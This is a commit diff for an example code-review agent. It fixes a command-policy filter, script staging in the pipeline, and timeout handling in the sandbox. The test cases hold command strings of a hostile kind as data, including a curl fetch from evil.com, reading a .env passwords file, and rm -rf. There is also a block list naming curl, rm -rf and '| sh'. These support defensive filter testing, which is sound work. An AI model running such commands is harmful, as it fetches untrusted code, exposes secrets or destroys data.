Skip to content

Commit e43b0de

Browse files
committed
fix(cr-agent): Critical2 cube超时异常+filter off-by-one/子串+脚本落盘+存储断链 (trpc-group#200 review)
- Critical 2: 修复 Cube 沙箱超时异常捕获,优先捕获 subprocess.TimeoutExpired - 隐患1: 修复 Filter 预算 off-by-one,call_index >= max_sandbox_runs 时 deny - 隐患2: 修复 Filter 子串误匹配,路径使用边界匹配避免 .environment 命中 .env - 隐患3: 修复沙箱脚本未落盘,pipeline 在执行前把脚本复制到 workspace - 隐患4: 修复存储 save 与 start_task 断链,pipeline 在开始时调用 start_task - 补充严格测试:Cube 超时断言 status==timeout、Filter off-by-one 和边界匹配测试
1 parent c547448 commit e43b0de

5 files changed

Lines changed: 189 additions & 30 deletions

File tree

examples/skills_code_review_agent/agent/pipeline.py

Lines changed: 53 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,8 @@
1616
8. ReviewStore().save(report)(落库,内含脱敏)
1717
9. report.write_reports(report, "outputs/")
1818
"""
19+
import os
20+
import shutil
1921
import time
2022
import uuid
2123

@@ -34,6 +36,9 @@
3436
# 沙箱脚本约定名(Task 13 会创建真实脚本文件)
3537
SKILL_SCRIPTS = ["static_review", "diff_summary"]
3638

39+
# 沙箱脚本源目录(skills/code-review/scripts/)
40+
SCRIPTS_SRC_DIR = os.path.join(os.path.dirname(__file__), "..", "skills", "code-review", "scripts")
41+
3742

3843
def _conclusion(findings, warnings, needs_review, decisions, sandbox_runs) -> str:
3944
"""派生 conclusion:根据 findings/warnings/decisions/sandbox_runs 决定最终结论
@@ -96,6 +101,16 @@ def run_review(diff_text: str,
96101
"""
97102
t0 = time.time()
98103

104+
# 0. 修复隐患4: 先 start_task 创建 task_id(确保 save 时 review_tasks 记录存在)
105+
try:
106+
store = ReviewStore()
107+
scope = f"diff-{len(diff_text)}chars" if diff_text else "empty"
108+
task_id = store.start_task(repo=repo, scope=scope)
109+
except Exception as e:
110+
# start_task 失败时使用生成的 UUID(降级处理)
111+
print(f"[Pipeline] start_task 失败: {str(e)}")
112+
task_id = str(uuid.uuid4())
113+
99114
# 1. 解析 diff
100115
files = parse_diff(diff_text)
101116

@@ -140,7 +155,33 @@ def run_review(diff_text: str,
140155
# 执行脚本(使用临时工作目录)
141156
import tempfile
142157
with tempfile.TemporaryDirectory() as ws:
143-
run = runtime.run(script=f"{script}.py", workspace=ws, inputs={"diff_text": diff_text})
158+
# 修复隐患3: 把脚本文件写入 workspace(真沙箱需要脚本存在)
159+
script_src = os.path.join(SCRIPTS_SRC_DIR, f"{script}.py")
160+
script_dst = os.path.join(ws, f"{script}.py")
161+
if os.path.exists(script_src):
162+
shutil.copy(script_src, script_dst)
163+
else:
164+
# 脚本不存在时记录失败但不中断(防御性编程)
165+
from agent.models import SandboxRun
166+
failed_run = SandboxRun(
167+
runtime=sandbox,
168+
script=script,
169+
status="failed",
170+
exit_code=1,
171+
stdout_redacted="",
172+
stderr_redacted=f"脚本不存在: {script_src}",
173+
truncated=False,
174+
error_type="FileNotFoundError",
175+
duration_ms=0
176+
)
177+
runs.append(failed_run)
178+
continue
179+
180+
run = runtime.run(
181+
script=f"{script}.py",
182+
workspace=ws,
183+
inputs={"diff_text": diff_text}
184+
)
144185
runs.append(run)
145186
except Exception as e:
146187
# 沙箱执行失败,记录失败但不中断
@@ -162,17 +203,16 @@ def run_review(diff_text: str,
162203
# 合并所有 findings 用于监控
163204
all_findings = list(findings) + list(warnings) + list(needs_review)
164205

165-
monitoring = build_monitoring(total_duration_ms=int((time.time() - t0) * 1000),
166-
sandbox_duration_ms=t_sandbox,
167-
tool_call_count=len(runs),
168-
blocked_count=sum(1 for d in decisions if d.decision != "allow"),
169-
findings=all_findings,
170-
exceptions=[])
171-
172-
# 7. 生成 task_id
173-
task_id = str(uuid.uuid4())
206+
monitoring = build_monitoring(
207+
total_duration_ms=int((time.time() - t0) * 1000),
208+
sandbox_duration_ms=t_sandbox,
209+
tool_call_count=len(runs),
210+
blocked_count=sum(1 for d in decisions if d.decision != "allow"),
211+
findings=all_findings,
212+
exceptions=[]
213+
)
174214

175-
# 8. 派生 conclusion
215+
# 7. 派生 conclusion(使用已生成的 task_id)
176216
conclusion = _conclusion(findings, warnings, needs_review, decisions, runs)
177217

178218
# 9. 构造 ReviewReport
@@ -188,15 +228,14 @@ def run_review(diff_text: str,
188228
repository=repo,
189229
input_summary=_summary(diff_text))
190230

191-
# 10. 落库(内含脱敏)
231+
# 9. 落库(内含脱敏,使用已存在的 task_id
192232
try:
193-
store = ReviewStore()
194233
store.save(report)
195234
except Exception as e:
196235
# 落库失败不应中断报告生成
197236
print(f"[Pipeline] 落库失败: {str(e)}")
198237

199-
# 11. 写报告文件
238+
# 10. 写报告文件
200239
try:
201240
write_reports(report, "outputs/")
202241
except Exception as e:

examples/skills_code_review_agent/filters/policy.py

Lines changed: 42 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -52,20 +52,48 @@ def evaluate(self, command: str, ctx: dict) -> FilterDecision:
5252
FilterDecision: 过滤决策结果
5353
"""
5454
# 1. 禁止路径检查(最高优先级,防止敏感文件泄露)
55+
# 使用边界匹配避免误匹配(如 .environment 不应命中 .env)
56+
# 边界包括:路径分隔符、引号、空格、字符串起止
5557
for fp in self.p["forbidden_paths"]:
56-
if fp in command:
58+
# 构造边界匹配正则:路径片段前后必须有边界
59+
# 边界字符集:路径分隔符(/、\)、引号(" ' `)、空格、字符串起止(^ $)
60+
escaped_fp = re.escape(fp)
61+
pattern = rf'(^|[/\s"\']){escaped_fp}($|[/\s"\'])'
62+
if re.search(pattern, command):
5763
return FilterDecision(stage="pre_sandbox",
5864
decision="deny",
5965
reason=f"禁止路径 {fp}",
6066
command_redacted=command[:80])
6167

6268
# 2. 高危命令检查(需要人工审查)
69+
# 对完整命令词使用边界匹配,对 shell 操作符保留子串匹配
70+
# shell 操作符:单字符或双字符操作符
71+
shell_operators = {";", "&&", "|", "||"}
6372
for hc in self.p["high_risk_commands"]:
64-
if hc in command:
65-
return FilterDecision(stage="pre_sandbox",
66-
decision="needs_human_review",
67-
reason=f"高危命令 {hc}",
68-
command_redacted=command[:80])
73+
# shell 操作符保留子串匹配(| sh 中的 | 是管道,; 是命令分隔符)
74+
if hc in shell_operators:
75+
if hc in command:
76+
return FilterDecision(stage="pre_sandbox",
77+
decision="needs_human_review",
78+
reason=f"高危操作符 {hc}",
79+
command_redacted=command[:80])
80+
elif hc == "| sh":
81+
# 特殊处理 | sh 组合
82+
if "| sh" in command or "|sh" in command:
83+
return FilterDecision(stage="pre_sandbox",
84+
decision="needs_human_review",
85+
reason=f"高危命令 {hc}",
86+
command_redacted=command[:80])
87+
else:
88+
# 完整命令词使用边界匹配(避免 rm -rf 误匹配 rm -rf-safe)
89+
# 边界:空格、管道、分号、字符串起止
90+
escaped_hc = re.escape(hc)
91+
pattern = rf'(^|[\s|;]){escaped_hc}($|[\s|;])'
92+
if re.search(pattern, command):
93+
return FilterDecision(stage="pre_sandbox",
94+
decision="needs_human_review",
95+
reason=f"高危命令 {hc}",
96+
command_redacted=command[:80])
6997

7098
# 3. 网络域名白名单检查
7199
for m in re.findall(r"https?://([^/\s]+)", command):
@@ -75,9 +103,14 @@ def evaluate(self, command: str, ctx: dict) -> FilterDecision:
75103
reason=f"非白名单网络 {m}",
76104
command_redacted=command[:80])
77105

78-
# 4. 沙箱调用预算检查
79-
if ctx.get("call_index", 0) > self.p["max_sandbox_runs"]:
80-
return FilterDecision(stage="pre_sandbox", decision="deny", reason="超预算沙箱调用", command_redacted=command[:80])
106+
# 4. 沙箱调用预算检查(>= 确保 call_index 达到 max_sandbox_runs 时即 deny)
107+
if ctx.get("call_index", 0) >= self.p["max_sandbox_runs"]:
108+
return FilterDecision(
109+
stage="pre_sandbox",
110+
decision="deny",
111+
reason="超预算沙箱调用",
112+
command_redacted=command[:80]
113+
)
81114

82115
# 5. 默认允许
83116
return FilterDecision(stage="pre_sandbox", decision="allow", reason="", command_redacted="")

examples/skills_code_review_agent/sandbox/cube.py

Lines changed: 16 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -105,8 +105,23 @@ def run(
105105
duration_ms=duration_ms,
106106
)
107107

108+
except subprocess.TimeoutExpired as e:
109+
# subprocess.TimeoutExpired 优先捕获(subprocess.run 超时抛此异常)
110+
duration_ms = int((time.time() - start_time) * 1000)
111+
112+
return SandboxRun(
113+
runtime="cube",
114+
script=script,
115+
status="timeout",
116+
exit_code=124,
117+
stdout_redacted="",
118+
stderr_redacted=f"远端沙箱执行超时: {str(e)}",
119+
truncated=False,
120+
error_type="TimeoutError",
121+
duration_ms=duration_ms,
122+
)
108123
except TimeoutError as e:
109-
# 超时处理
124+
# 内置 TimeoutError 兼容捕获(防御性编程)
110125
duration_ms = int((time.time() - start_time) * 1000)
111126

112127
return SandboxRun(

examples/skills_code_review_agent/tests/test_filter.py

Lines changed: 73 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -100,7 +100,9 @@ def test_network_whitelist_deny(self):
100100
policy = CommandPolicy(policy_data)
101101

102102
# 测试非白名单网络域名
103-
decision = policy.evaluate("curl https://evil.com/exploit.sh", {"call_index": 0})
103+
decision = policy.evaluate(
104+
"curl https://evil.com/exploit.sh", {"call_index": 0}
105+
)
104106
assert decision.decision == "deny"
105107
assert "非白名单网络" in decision.reason
106108
assert "evil.com" in decision.reason
@@ -120,11 +122,18 @@ def test_budget_exceeded_deny(self):
120122
}
121123
policy = CommandPolicy(policy_data)
122124

123-
# 测试超预算
124-
decision = policy.evaluate("python test.py", {"call_index": 13})
125-
assert decision.decision == "deny"
125+
# 测试超预算(修复隐患1前:call_index=13 才 deny)
126+
# 修复后:call_index=12 即 deny(>= 而非 >)
127+
decision = policy.evaluate("python test.py", {"call_index": 12})
128+
msg = f"call_index=12 (max_sandbox_runs) 应该 deny,实际 {decision.decision}"
129+
assert decision.decision == "deny", msg
126130
assert "超预算" in decision.reason
127131

132+
# call_index=11 应该 still allow
133+
decision = policy.evaluate("python test.py", {"call_index": 11})
134+
msg = f"call_index=11 (< max_sandbox_runs) 应该 allow,实际 {decision.decision}"
135+
assert decision.decision == "allow", msg
136+
128137
def test_allow_command(self):
129138
"""测试允许的命令返回 allow"""
130139
from filters.policy import CommandPolicy
@@ -170,6 +179,66 @@ def test_evaluation_order(self):
170179
assert decision2.decision == "needs_human_review"
171180
assert "高危命令" in decision2.reason
172181

182+
def test_forbidden_path_no_false_match(self):
183+
"""测试禁止路径精确匹配,.environment 不应命中 .env(修复隐患2)"""
184+
from filters.policy import CommandPolicy
185+
186+
policy_data = {
187+
"forbidden_paths": [".env"],
188+
"high_risk_commands": [],
189+
"network_whitelist": [],
190+
"allowed_executables": ["python"],
191+
"max_timeout_sec": 120,
192+
"max_output_bytes": 1048576,
193+
"max_sandbox_runs": 12
194+
}
195+
policy = CommandPolicy(policy_data)
196+
197+
# .environment 不应该命中 .env(修复隐患2前:会误匹配)
198+
decision = policy.evaluate("cat .environment/config", {"call_index": 0})
199+
msg = f".environment 不应命中 .env,实际 {decision.decision}"
200+
assert decision.decision == "allow", msg
201+
202+
# .env 应该正确命中
203+
decision = policy.evaluate("cat .env/passwords", {"call_index": 0})
204+
msg = f".env 应该命中,实际 {decision.decision}"
205+
assert decision.decision == "deny", msg
206+
207+
def test_high_risk_command_boundary_match(self):
208+
"""测试高危命令边界匹配,rm -rf-safe 不应命中 rm -rf(修复隐患2)"""
209+
from filters.policy import CommandPolicy
210+
211+
policy_data = {
212+
"forbidden_paths": [],
213+
"high_risk_commands": ["rm -rf", "curl", ";", "&&"],
214+
"network_whitelist": [],
215+
"allowed_executables": ["python"],
216+
"max_timeout_sec": 120,
217+
"max_output_bytes": 1048576,
218+
"max_sandbox_runs": 12
219+
}
220+
policy = CommandPolicy(policy_data)
221+
222+
# rm -rf-safe 不应该命中 rm -rf(边界匹配)
223+
decision = policy.evaluate("rm -rf-safe /tmp", {"call_index": 0})
224+
msg = f"rm -rf-safe 不应命中 rm -rf,实际 {decision.decision}"
225+
assert decision.decision == "allow", msg
226+
227+
# rm -rf 应该正确命中
228+
decision = policy.evaluate("rm -rf /tmp", {"call_index": 0})
229+
msg = f"rm -rf 应该命中,实际 {decision.decision}"
230+
assert decision.decision == "needs_human_review", msg
231+
232+
# shell 操作符 ; 应该仍然触发(保留子串匹配)
233+
decision = policy.evaluate("echo hello; echo world", {"call_index": 0})
234+
msg = f"; 操作符应该触发,实际 {decision.decision}"
235+
assert decision.decision == "needs_human_review", msg
236+
237+
# shell 操作符 && 应该触发
238+
decision = policy.evaluate("cd /tmp && ls", {"call_index": 0})
239+
msg = f"&& 操作符应该触发,实际 {decision.decision}"
240+
assert decision.decision == "needs_human_review", msg
241+
173242

174243
class TestCrGovernanceFilter:
175244
"""测试 CrGovernanceFilter BaseFilter 实现"""

examples/skills_code_review_agent/tests/test_sandbox.py

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -327,8 +327,11 @@ def test_cube_timeout_with_mock(self):
327327
)
328328

329329
assert result.runtime == "cube"
330-
# 超时会被捕获
331-
assert result is not None
330+
# 修复 Critical 2 测试: 严格断言超时返回 status="timeout"(非 failed)
331+
msg = f"Expected timeout, got {result.status}"
332+
assert result.status == "timeout", msg
333+
assert result.exit_code == 124
334+
assert result.error_type == "TimeoutError"
332335
finally:
333336
# 恢复原始模块状态
334337
if original_import:

0 commit comments

Comments
 (0)